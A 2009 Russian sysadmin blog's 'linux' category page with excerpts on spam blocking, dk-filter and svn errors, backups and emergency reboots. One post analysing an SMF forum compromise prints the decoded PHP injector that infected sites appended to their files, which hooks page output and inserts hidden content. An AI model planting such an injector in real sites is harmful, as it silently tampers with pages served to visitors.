Статьи из рубрики «linux»
Linux — дружественная операционная система. Она просто разборчива в выборе друзей.
Борьба со спамом на уровне фильтра пакетов
Два месяца назад я писал об одном очень жестком методе борьбы с последствиями установки плагина Time spent on blog. Теперь этот же самый метод применяем на спам-ботах, которые безуспешно пытаются оставить спам в комментариях.
Отвлекусь от темы и отвечу на вопрос о необходимости применения жестких мер против спамеров: во-первых, они генерируют много паразитного трафика (трафик не бесплатен), во-вторых, они генерируют лишнюю нагрузку на сервер, в-третьих, вода камень точит — любую капчу можно подобрать. Далее »
Автор: Vladimir, опубликовано в: Linux, WordPress, Администрирование, комментариев: 6Июл
2009
dk-filter: util.c:47: dk_sterilize: Assertion `str != ((void *)0)’ failed: Часть 2
Вчера я писал об ошибке в dk-filter, приводящей к гибели процесса, если dk-filter сконфигурирован использовать разные ключи для подписи сообщений от разных отправителей, и ключ для отправителя не найден.
Я предложил два решения: тривиальное (изменить файл конфигурации так, чтобы все отправители начинались со звёздочки) и правильное (пропатчить код демона, ибо фатальное завершение по такой пустяковой ошибке — это неправильно).
Именно о втором решении далее пойдёт речь. Далее »
Автор: Vladimir, опубликовано в: C/C++, Linux, Администрирование, комментариев: нетИюл
2009
dk-filter: util.c:47: dk_sterilize: Assertion `str != ((void *)0)’ failed.
На днях столкнулся с неприятной ошибкой: при отправлении письма dk-filter падал с ошибкой
dk-filter: util.c:47: dk_sterilize: Assertion `str != ((void *)0)’ failed..
В баг-трекере Debian решения проблемы не нашлось (хотя проблеме больше года), пришлось все решать самому (люблю open source!).
Проблема проявлялась, когда dk-filter был запущен в конфигурации, использующей несколько ключей для подписывания сообщений (грубо говоря, каждому домену полагался свой ключ). Далее »
Автор: Vladimir, опубликовано в: Linux, Администрирование, комментариев: 1Июл
2009
svn: could not connect to server
Сегодня столкнулся с интересной ошибкой при попытке экспорта проекта из репозитория Subversion:
svn: OPTIONS of 'https://my.repository.com/svn/trunk': could not connect to server (https://my.repository.com)
Произошло это после обновления системы (на машине стоит Debian).
Первое подозрение — что-то не то с DNS, ибо извне к репозиторию есть доступ. Проверил:
--2009-07-07 13:10:21-- https://my.repository.com
Resolving my.repository.com... 12.34.56.78
Connecting to my.repository.com|12.34.56.78|:443... connected.
HTTP request sent, awaiting response... 200 OK
Получается, что проблема где-то в subversion, а не в невозможности соединения с сервером или криво настроенном DNS.
Далее »
Июл
2009
Linux: экстренная перезагрузка сервера
Иногда случаются ситуации (поменьше бы их таких), когда из-за какой-нибудь ошибки оборудования или повреждения файловой системы операционная система входит в ступор и не может прочитать ничего с диска. Систему нужно перезагружать, но система не может прочитать /sbin/reboot, а техническая поддержка тупит (не могу не передать привет техперсоналу HiVelocity.net).
В этом случае систему можно перезагрузить двумя командами echo (нужны права администратора). Далее »
Июл
2009
Уязвимость в форуме SMF
В последнее время участились сообщения о взломах форумов, работающих на SMF (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. Уязвимость существует в функции масштабирования аватаров.
Дополнительная информация здесь.
Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:
BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
$GLOBALS['sh_no']=1;
if(file_exists('.../style.css.php')){
include_once('.../style.css.php');
if(function_exists('gml')&&!function_exists('dgobh')){
if(!function_exists('gzdecode')){
function gzdecode($d){
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4){
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;
}
if($f&8){
$h=strpos($d,chr(0),$h)+1;
}
if($f&16){
$h=strpos($d,chr(0),$h)+1;
}
if($f&2){
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE){
$u=$d;
}
return $u;
}
}
function dgobh($b){
Header('Content-Encoding: none');
$c=gzdecode($b);
if(preg_match('/\<body/si',$c)){
return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
}
else{
return gml().$c;
}
}
ob_start('dgobh');
}
}
}
?>
“Заражаются” все PHP-файлы, до которых “вирус” смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?
Есть два варианта. Далее »
Автор: Vladimir, опубликовано в: Linux, Simple Machines Forum, Безопасность, комментариев: 2Май
2009
Hardy Heron с ядром 2.6.27
Очень полезно, если есть необходимость гонять Ubuntu 8.04 Hardy Heron под VirtualBox 2.2 — дополнения гостевой операционной системы не работают на ядре 2.6.24, которое идёт с Ubuntu 8.04.2. Далее »
Автор: Vladimir, опубликовано в: Linux, комментариев: 2Май
2009
Борьба с плагином Time spent on blog жёсткими методами
Вчера пришлось очень рано встать из-за SMS от монитора, наблюдающего за сервером: Apache лёг от DDoS-атаки. Как оказалось, DDoS был спровоцирован плагином Time Spent on Blog (http://iron.randombase.com/2008/05/31/wordpress-widget-time-spent-on-blog/, битая ссылка). Честно говоря, я никогда не понимал смысла в таких плагинах, тем более на очень посещаемых сайтах.
Плагин определяет, сколько времени пробыл пользователь на сайте (с двухсекундной точностью). Такая точность создаёт большие проблемы в тех случаях, когда средний посетитель открывает сразу три-пять страниц. Точность гарантируется конструкцией setTimeout("updateTime()", 2000), где updateTime() — функция, отправляющая асинхронный запрос на сервер.
Обновление текущей информации осуществляется в два запроса: SELECT для получения старых данных и INSERT/UPDATE для их обновления. Что характерно, в таблице нет никаких индексов, поэтому если у сайта обширная аудитория, а на сайте не настроена репликация, то MySQL очень быстро становится слабым звеном (что ни говори, а MyISAM не сильно хорошо работает с большим количеством параллельных записей). А IP-адрес посетителя (по нему делается выборка/обновление) хранится в базе строкой, что тоже далеко от идеала (экономнее хранить его числом).
Несколько сотен посетителей, открывшие по нескольку страниц, умудрились положить сервер. Далее »
Автор: Vladimir, опубликовано в: Linux, комментариев: 9Май
2009
Резервное копирование баз данных с отправкой на email
Навеяно статьёй Дмитрия «Ежедневный бэкап для WordPress с помощью Gmail», которую я очень рекомендую к прочтению.
Основное отличие моего метода кроется в моих «религиозных предпочтениях»: я считаю, что вряд ли какая программа сможет сделать копию базы быстрее, чем mysqldump, и бинарный файл всегда работает быстрее, нежели самый оптимизированный PHP-код. Поэтому никаких лишних плагинов для WordPress, только подручные средства
Хотя данное решение не подойдёт людям, использующих shared-хостинг. Далее »
Апр
2009
hotkey-setup 0.1-23ubuntu10 в Jaunty Jackalope
В очередной раз разработчики выпустили пакет, не потрудившись его протестировать (или, скажем прямо, установить).
Сегодня пришло обновление для hotkey-setup, которое завершилось следующим образом:
/etc/init.d/hotkey-setup: 47: Syntax error: ";;" unexpected (expecting "fi")
invoke-rc.d: initscript hotkey-setup, action "start" failed.
dpkg: не удалось обработать параметр hotkey-setup (--configure):
подпроцесс post-installation script возвратил код ошибки 2
При обработке следующих пакетов произошли ошибки:
hotkey-setup
E: Sub-process /usr/bin/dpkg returned an error code (1)
Не удалось установить пакет. Попытка восстановить:
Настраивается пакет hotkey-setup (0.1-23ubuntu10) ...
/etc/init.d/hotkey-setup: 47: Syntax error: ";;" unexpected (expecting "fi")
invoke-rc.d: initscript hotkey-setup, action "start" failed.
dpkg: не удалось обработать параметр hotkey-setup (--configure):
подпроцесс post-installation script возвратил код ошибки 2
При обработке следующих пакетов произошли ошибки:
hotkey-setup
Апр
2009
Меня зовут Владимир, я программист-фрилансер, специализирующийся на Web-программировании и програмировании под Linux.
По совместительству занимаюсь администрированием LAMP/LNMP-серверов и техническим переводом.

